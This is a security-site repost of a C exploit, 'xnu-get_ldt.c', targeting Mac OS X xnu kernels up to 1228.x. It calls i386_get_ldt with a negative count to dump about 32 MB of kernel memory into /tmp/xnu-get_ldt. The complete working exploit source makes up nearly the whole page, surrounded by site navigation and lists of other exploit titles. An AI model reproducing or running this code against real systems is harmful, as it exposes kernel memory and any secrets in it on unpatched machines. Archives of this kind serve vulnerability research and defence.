首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apple MACOS X xnu <= 1228.x Local Kernel Memory Disclosure Exploit
来源:http://www.digit-labs.org/ 作者:mu-b 发布时间:2009-02-26  
/* xnu-get_ldt.c
*
* Copyright (c) 2008 by <mu-b@digit-labs.org>
*
* Apple MACOS X xnu <= 1228.x local kernel memory disclosure
* by mu-b - Wed 17 Dec 2008
*
* - Tested on: Apple MACOS X 10.5.5 (xnu-1228.8.20~1/RELEASE_I386)
*
* props to christer who originally found the bug in FreeBSD.
*  (ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-05:07.ldt.asc)
*
*    - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
*/

#include <stdio.h>
#include <stdlib.h>

#include <architecture/i386/table.h>
#include <i386/user_ldt.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

#define TMP_FILE  "/tmp/xnu-get_ldt"
#define READ_SIZE 0x2000000

int
main (int argc, char **argv)
{
  int fd, n, num_desc;
  void *ptr;

  printf ("Apple MACOS X xnu <= 1228.x local kernel memory disclosure\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  n = i386_get_ldt (0, ((int)NULL) + 1, 0);
  if (n < 0)
    {
      fprintf (stderr, "failed i386_get_ldt(): %d\n", n);
      return (EXIT_FAILURE);
    }

  num_desc = n;
  printf ("i386_get_ldt: num_desc: %d\n", num_desc);

  fd = open (TMP_FILE, O_CREAT | O_RDWR, S_IRUSR | S_IWUSR);
  if (fd < 0)
    {
      fprintf (stderr, "failed open(): %d\n", fd);
      return (EXIT_FAILURE);
    }

  ptr = mmap (NULL, READ_SIZE, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
  if ((int) ptr == -1)
    {
      fprintf (stderr, "failed mmap()\n");
      return (EXIT_FAILURE);
    }

  memset (ptr, 0x00, READ_SIZE);
  i386_get_ldt (num_desc - 1, (union ldt_entry *) ptr, -(num_desc - 1));

  n = write (fd, ptr, READ_SIZE);
  munmap (ptr, READ_SIZE);
  close (fd);

  printf ("%d-bytes of kernel memory dumped to: %s\n", n, TMP_FILE);

  return (EXIT_SUCCESS);
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·pPIM 1.0 Multiple Remote Vulne
·MDPro Module My_eGallery (pid)
·Coppermine Photo Gallery <= 1.
·Adobe Acrobat Reader JBIG2 Loc
·POP Peeper 3.4.0.0 UIDL Remote
·Pyrophobia 2.1.3.1 LFI Command
·Orbit <= 2.4 Long Hostname Rem
·Free Arcade Script 1.0 LFI Com
·Hex Workshop v6 (.HEX File) Lo
·pPIM 1.01 (notes.php id) Remot
·Demium CMS 0.2.1B Multiple Vul
·Mozilla Firefox 3.0.6 (BODY on
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved